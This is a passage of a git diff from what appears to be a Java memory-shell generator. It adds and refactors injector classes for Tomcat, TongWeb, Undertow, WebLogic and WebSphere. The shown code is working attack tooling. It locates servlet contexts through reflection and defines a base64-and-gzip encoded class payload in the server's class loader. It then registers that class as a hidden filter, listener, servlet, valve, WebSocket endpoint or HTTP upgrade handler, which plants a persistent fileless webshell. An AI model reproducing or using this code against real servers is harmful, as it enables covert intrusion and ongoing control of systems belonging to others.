@author ReaJason + */ +public class TomcatUpgradeInjector { + + private static String msg = ""; + private static boolean ok = false; + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() { + return "{{base64Str}}"; + } + + public TomcatUpgradeInjector() { + if (ok) { + return; + } + Set contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts == null) { + msg += "context not found"; + } else { + for (Object context : contexts) { + try { + msg += ("context: [" + getContextRoot(context) + "] "); + Object shell = getShell(context); + inject(context, shell); + msg += "[/*] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + } + ok = true; + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + + /** + * org.apache.catalina.core.StandardContext + * /usr/local/tomcat/server/lib/catalina.jar + */ + public Set getContext() throws Exception { + Set contexts = new HashSet(); + Set threads = Thread.getAllStackTraces().keySet(); + for (Thread thread : threads) { + if (thread.getName().contains("ContainerBackgroundProcessor")) { + Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); + for (Object value : childrenMap.values()) { + Map children = (Map) getFieldValue(value, "children"); + contexts.addAll(children.values()); + } + } else if (thread.getContextClassLoader() != null) { + String name = thread.getContextClassLoader().getClass().getSimpleName(); + if (name.matches(".+WebappClassLoader")) { + Object resources = getFieldValue(thread.getContextClassLoader(), "resources"); + // need WebResourceRoot not DirContext + if (resources != null && resources.getClass().getName().endsWith("Root")) { + Object context = getFieldValue(resources, "context"); + contexts.add(context); + } + } + } + } + return contexts; + } + + @SuppressWarnings("all") + private Object getShell(Object context) throws Exception { + ClassLoader classLoader = context.getClass().getClassLoader(); + Class clazz = null; + try { + clazz = classLoader.loadClass(getClassName()); + } catch (Exception e) { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); + } + + @SuppressWarnings("all") + public void inject(Object context, Object shell) throws Exception { + Object engine = getFieldValue(getFieldValue(context, "parent"), "parent"); + Object service = getFieldValue(engine, "service"); + Object connector = ((Object[]) getFieldValue(service, "connectors"))[0]; + Object protocolHandler = getFieldValue(connector, "protocolHandler"); + Map httpUpgradeProtocols = ((Map) getFieldValue(protocolHandler, "httpUpgradeProtocols")); + if (httpUpgradeProtocols.containsKey(getClassName())) { + return; + } + httpUpgradeProtocols.put(getClassName(), shell); + } + + @Override + public String toString() { + return msg; + } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } finally { + if (gzipInputStream != null) { + gzipInputStream.close(); + } + out.close(); + } + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws Exception { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); + } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java index 87aac842..00616d89 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java @@ -14,7 +14,8 @@ */ public class TomcatValveInjector { - private String msg = ""; + private static String msg = ""; + private static boolean ok = false; public String getClassName() { return "{{className}}"; @@ -25,16 +26,21 @@ public String getBase64String() { } public TomcatValveInjector() { - List contexts = null; + if (ok) { + return; + } + Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); msg += "[/*] ready\n"; @@ -43,6 +49,7 @@ public TomcatValveInjector() { } } } + ok = true; System.out.println(msg); } @@ -63,8 +70,8 @@ private String getContextRoot(Object context) { return c + "(" + r + ")"; } - public List getContext() throws Exception { - List contexts = new ArrayList(); + public Set getContext() throws Exception { + Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { @@ -73,10 +80,16 @@ public List getContext() throws Exception { Map children = (Map) getFieldValue(value, "children"); contexts.addAll(children.values()); } - } else if (thread.getContextClassLoader() != null - && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") - || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) { - contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context")); + } else if (thread.getContextClassLoader() != null) { + String name = thread.getContextClassLoader().getClass().getSimpleName(); + if (name.matches(".+WebappClassLoader")) { + Object resources = getFieldValue(thread.getContextClassLoader(), "resources"); + // need WebResourceRoot not DirContext + if (resources != null && resources.getClass().getName().endsWith("Root")) { + Object context = getFieldValue(resources, "context"); + contexts.add(context); + } + } } } return contexts; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java index a993547d..c9d7f24f 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java @@ -7,10 +7,7 @@ import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; -import java.util.ArrayList; -import java.util.HashMap; -import java.util.List; -import java.util.Set; +import java.util.*; import java.util.zip.GZIPInputStream; /** @@ -19,7 +16,8 @@ */ public class TomcatWebSocketInjector { - private String msg = ""; + private static String msg = ""; + private static boolean ok = false; public String getUrlPattern() { return "{{urlPattern}}"; @@ -34,16 +32,21 @@ public String getBase64String() { } public TomcatWebSocketInjector() { - List contexts = null; + if (ok) { + return; + } + Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); msg += "[" + getUrlPattern() + "] ready\n"; @@ -52,6 +55,7 @@ public TomcatWebSocketInjector() { } } } + ok = true; System.out.println(msg); } @@ -72,8 +76,8 @@ private String getContextRoot(Object context) { return c + "(" + r + ")"; } - public List getContext() throws Exception { - List contexts = new ArrayList(); + public Set getContext() throws Exception { + Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { @@ -82,10 +86,16 @@ public List getContext() throws Exception { HashMap children = (HashMap) getFieldValue(value, "children"); contexts.addAll(children.values()); } - } else if (thread.getContextClassLoader() != null - && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") - || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) { - contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context")); + } else if (thread.getContextClassLoader() != null) { + String name = thread.getContextClassLoader().getClass().getSimpleName(); + if (name.matches(".+WebappClassLoader")) { + Object resources = getFieldValue(thread.getContextClassLoader(), "resources"); + // need WebResourceRoot not DirContext + if (resources != null && resources.getClass().getName().endsWith("Root")) { + Object context = getFieldValue(resources, "context"); + contexts.add(context); + } + } } } return contexts; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java index 7fc1acea..3f42703a 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java @@ -18,7 +18,8 @@ */ public class TongWebFilterInjector { - private String msg = ""; + private static String msg = ""; + private static boolean ok = false; public String getUrlPattern() { return "{{urlPattern}}"; @@ -33,16 +34,21 @@ public String getBase64String() { } public TongWebFilterInjector() { + if (ok) { + return; + } Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); msg += "[" + getUrlPattern() + "] ready\n"; @@ -51,6 +57,7 @@ public TongWebFilterInjector() { } } } + ok = true; System.out.println(msg); } @@ -80,7 +87,7 @@ private String getContextRoot(Object context) { * /opt/tweb8/version8.0.6.2/tongweb-web.jar */ public Set getContext() throws Exception { - Set contexts = new HashSet<>(); + Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { try { @@ -91,9 +98,16 @@ public Set getContext() throws Exception { Map children = (Map) getFieldValue(value, "children"); contexts.addAll(children.values()); } - } else if (thread.getContextClassLoader() != null - && thread.getContextClassLoader().getClass().getSimpleName().equals("TongWebWebappClassLoader")) { - contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context")); + } else if (thread.getContextClassLoader() != null) { + String name = thread.getContextClassLoader().getClass().getSimpleName(); + if (name.matches(".+WebappClassLoader")) { + Object resources = getFieldValue(thread.getContextClassLoader(), "resources"); + // need WebResourceRoot not DirContext + if (resources != null && resources.getClass().getName().endsWith("Root")) { + Object context = getFieldValue(resources, "context"); + contexts.add(context); + } + } } }catch (Exception ignored) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java index 93e89ad5..081cee56 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java @@ -14,7 +14,8 @@ */ public class TongWebListenerInjector { - private String msg = ""; + private static String msg = ""; + private static boolean ok = false; public String getClassName() { return "{{className}}"; @@ -25,16 +26,21 @@ public String getBase64String() { } public TongWebListenerInjector() { + if (ok) { + return; + } Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); msg += "[/*] ready\n"; @@ -43,6 +49,7 @@ public TongWebListenerInjector() { } } } + ok = true; System.out.println(msg); } @@ -64,7 +71,7 @@ private String getContextRoot(Object context) { } public Set getContext() throws Exception { - Set contexts = new HashSet<>(); + Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { @@ -74,9 +81,16 @@ public Set getContext() throws Exception { Map children = (Map) getFieldValue(value, "children"); contexts.addAll(children.values()); } - } else if (thread.getContextClassLoader() != null - && thread.getContextClassLoader().getClass().getSimpleName().equals("TongWebWebappClassLoader")) { - contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context")); + } else if (thread.getContextClassLoader() != null) { + String name = thread.getContextClassLoader().getClass().getSimpleName(); + if (name.matches(".+WebappClassLoader")) { + Object resources = getFieldValue(thread.getContextClassLoader(), "resources"); + // need WebResourceRoot not DirContext + if (resources != null && resources.getClass().getName().endsWith("Root")) { + Object context = getFieldValue(resources, "context"); + contexts.add(context); + } + } } } return contexts; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java index 1881a8db..8524c63e 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java @@ -14,7 +14,8 @@ */ public class TongWebValveInjector { - private String msg = ""; + private static String msg = ""; + private static boolean ok = false; public String getClassName() { return "{{className}}"; @@ -25,16 +26,21 @@ public String getBase64String() { } public TongWebValveInjector() { + if (ok) { + return; + } Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); msg += "[/*] ready\n"; @@ -43,6 +49,7 @@ public TongWebValveInjector() { } } } + ok = true; System.out.println(msg); } @@ -64,7 +71,7 @@ private String getContextRoot(Object context) { } public Set getContext() throws Exception { - Set contexts = new HashSet<>(); + Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { @@ -74,9 +81,16 @@ public Set getContext() throws Exception { Map children = (Map) getFieldValue(value, "children"); contexts.addAll(children.values()); } - } else if (thread.getContextClassLoader() != null - && thread.getContextClassLoader().getClass().getSimpleName().equals("TongWebWebappClassLoader")) { - contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context")); + } else if (thread.getContextClassLoader() != null) { + String name = thread.getContextClassLoader().getClass().getSimpleName(); + if (name.matches(".+WebappClassLoader")) { + Object resources = getFieldValue(thread.getContextClassLoader(), "resources"); + // need WebResourceRoot not DirContext + if (resources != null && resources.getClass().getName().endsWith("Root")) { + Object context = getFieldValue(resources, "context"); + contexts.add(context); + } + } } } return contexts; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowFilterInjector.java index cbdf367d..878ca8af 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowFilterInjector.java @@ -15,7 +15,8 @@ * @author ReaJason */ public class UndertowFilterInjector { - private String msg = ""; + private static String msg = ""; + private static boolean ok = false; public String getUrlPattern() { return "{{urlPattern}}"; @@ -30,16 +31,21 @@ public String getBase64String() throws IOException { } public UndertowFilterInjector() { - List contexts = null; + if (ok) { + return; + } + Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); msg += "[" + getUrlPattern() + "] ready\n"; @@ -48,6 +54,7 @@ public UndertowFilterInjector() { } } } + ok = true; System.out.println(msg); } @@ -68,8 +75,8 @@ private String getContextRoot(Object context) { return c + "(" + r + ")"; } - public List getContext() { - List contexts = new ArrayList(); + public Set getContext() throws Exception { + Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { try { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowListenerInjector.java index 707b7ba0..51cabeca 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowListenerInjector.java @@ -8,6 +8,7 @@ import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.ArrayList; +import java.util.HashSet; import java.util.List; import java.util.Set; import java.util.zip.GZIPInputStream; @@ -18,19 +19,33 @@ */ public class UndertowListenerInjector { - private String msg = ""; + private static String msg = ""; + private static boolean ok = false; + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() throws IOException { + return "{{base64Str}}"; + } public UndertowListenerInjector() { - List contexts = null; + if (ok) { + return; + } + Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); msg += "[/*] ready\n"; @@ -39,6 +54,7 @@ public UndertowListenerInjector() { } } } + ok = true; System.out.println(msg); } @@ -59,16 +75,8 @@ private String getContextRoot(Object context) { return c + "(" + r + ")"; } - public String getClassName() { - return "{{className}}"; - } - - public String getBase64String() throws IOException { - return "{{base64Str}}"; - } - - public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { - List contexts = new ArrayList(); + public Set getContext() throws Exception { + Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { try { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInjector.java index a3edb883..b5acc74b 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInjector.java @@ -8,6 +8,7 @@ import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.ArrayList; +import java.util.HashSet; import java.util.List; import java.util.Set; import java.util.zip.GZIPInputStream; @@ -18,7 +19,8 @@ */ public class UndertowServletInjector { - private String msg = ""; + private static String msg = ""; + private static boolean ok = false; public String getUrlPattern() { return "{{urlPattern}}"; @@ -33,16 +35,21 @@ public String getBase64String() throws IOException { } public UndertowServletInjector() { - List contexts = null; + if (ok) { + return; + } + Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); msg += "[" + getUrlPattern() + "] ready\n"; @@ -51,6 +58,7 @@ public UndertowServletInjector() { } } } + ok = true; System.out.println(msg); } @@ -71,8 +79,8 @@ private String getContextRoot(Object context) { return c + "(" + r + ")"; } - public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { - List contexts = new ArrayList(); + public Set getContext() throws Exception { + Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { try { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicFilterInjector.java index 7381ad12..6b29c215 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicFilterInjector.java @@ -15,7 +15,8 @@ */ public class WebLogicFilterInjector { - private String msg = ""; + private static String msg = ""; + private static boolean ok = false; public String getUrlPattern() { return "{{urlPattern}}"; @@ -30,16 +31,21 @@ public String getBase64String() throws IOException { } public WebLogicFilterInjector() { + if (ok) { + return; + } Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); msg += "[" + getUrlPattern() + "] ready\n"; @@ -48,6 +54,7 @@ public WebLogicFilterInjector() { } } } + ok = true; System.out.println(msg); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicListenerInjector.java index 9090eaf2..1fec6c6d 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicListenerInjector.java @@ -19,7 +19,8 @@ */ public class WebLogicListenerInjector { - private String msg = ""; + private static String msg = ""; + private static boolean ok = false; public String getClassName() { return "{{className}}"; @@ -30,16 +31,21 @@ public String getBase64String() throws IOException { } public WebLogicListenerInjector() { + if (ok) { + return; + } Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); msg += "[/*] ready\n"; @@ -48,6 +54,7 @@ public WebLogicListenerInjector() { } } } + ok = true; System.out.println(msg); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletInjector.java index 180142af..a2252b68 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletInjector.java @@ -20,7 +20,8 @@ */ public class WebLogicServletInjector { - private String msg = ""; + private static String msg = ""; + private static boolean ok = false; public String getUrlPattern() { return "{{urlPattern}}"; @@ -35,16 +36,21 @@ public String getBase64String() throws IOException { } public WebLogicServletInjector() { + if (ok) { + return; + } Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); msg += "[" + getUrlPattern() + "] ready\n"; @@ -53,6 +59,7 @@ public WebLogicServletInjector() { } } } + ok = true; System.out.println(msg); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterInjector.java index d78ffcf1..3b9f9107 100755 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterInjector.java @@ -8,8 +8,8 @@ import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; -import java.util.ArrayList; -import java.util.List; +import java.util.HashSet; +import java.util.Set; import java.util.zip.GZIPInputStream; @@ -21,7 +21,8 @@ */ public class WebSphereFilterInjector { - private String msg = ""; + private static String msg = ""; + private static boolean ok = false; public String getUrlPattern() { return "{{urlPattern}}"; @@ -36,16 +37,21 @@ public String getBase64String() throws IOException { } public WebSphereFilterInjector() { - List contexts = null; + if (ok) { + return; + } + Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); msg += "[" + getUrlPattern() + "] ready\n"; @@ -54,6 +60,7 @@ public WebSphereFilterInjector() { } } } + ok = true; System.out.println(msg); } @@ -78,27 +85,22 @@ private String getContextRoot(Object context) { * com.ibm.ws.webcontainer.webapp.WebAppImpl * /opt/IBM/WebSphere/AppServer/plugins/com.ibm.ws.webcontainer.jar */ - public List getContext() throws Exception { - List contexts = new ArrayList(); - Object context; - Object obj = getFieldValue(Thread.currentThread(), "wsThreadLocals"); - Object[] wsThreadLocals = (Object[]) obj; + public Set getContext() throws Exception { + Set contexts = new HashSet(); + Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals"); for (Object wsThreadLocal : wsThreadLocals) { - obj = wsThreadLocal; // for websphere 7.x - if (obj != null && obj.getClass().getName().endsWith("FastStack")) { - Object[] stackList = (Object[]) getFieldValue(obj, "stack"); + if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) { + Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack"); for (Object stack : stackList) { try { Object config = getFieldValue(stack, "config"); - context = getFieldValue(getFieldValue(config, "context"), "context"); - contexts.add(context); + contexts.add(getFieldValue(getFieldValue(config, "context"), "context")); } catch (Exception ignored) { } } - } else if (obj != null && obj.getClass().getName().endsWith("WebContainerRequestState")) { - context = getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(obj, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"); - contexts.add(context); + } else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {; + contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context")); } } return contexts; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereListenerInjector.java index d25d746d..77745c19 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereListenerInjector.java @@ -7,7 +7,9 @@ import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.ArrayList; +import java.util.HashSet; import java.util.List; +import java.util.Set; import java.util.zip.GZIPInputStream; /** @@ -15,7 +17,8 @@ */ public class WebSphereListenerInjector { - private String msg = ""; + private static String msg = ""; + private static boolean ok = false; public String getClassName() { return "{{className}}"; @@ -26,16 +29,21 @@ public String getBase64String() throws IOException { } public WebSphereListenerInjector() { - List contexts = null; + if (ok) { + return; + } + Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); msg += "[/*] ready\n"; @@ -44,6 +52,7 @@ public WebSphereListenerInjector() { } } } + ok = true; System.out.println(msg); } @@ -64,27 +73,22 @@ private String getContextRoot(Object context) { return c + "(" + r + ")"; } - public List getContext() throws Exception { - List contexts = new ArrayList(); - Object context; - Object obj = getFieldValue(Thread.currentThread(), "wsThreadLocals"); - Object[] wsThreadLocals = (Object[]) obj; + public Set getContext() throws Exception { + Set contexts = new HashSet(); + Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals"); for (Object wsThreadLocal : wsThreadLocals) { - obj = 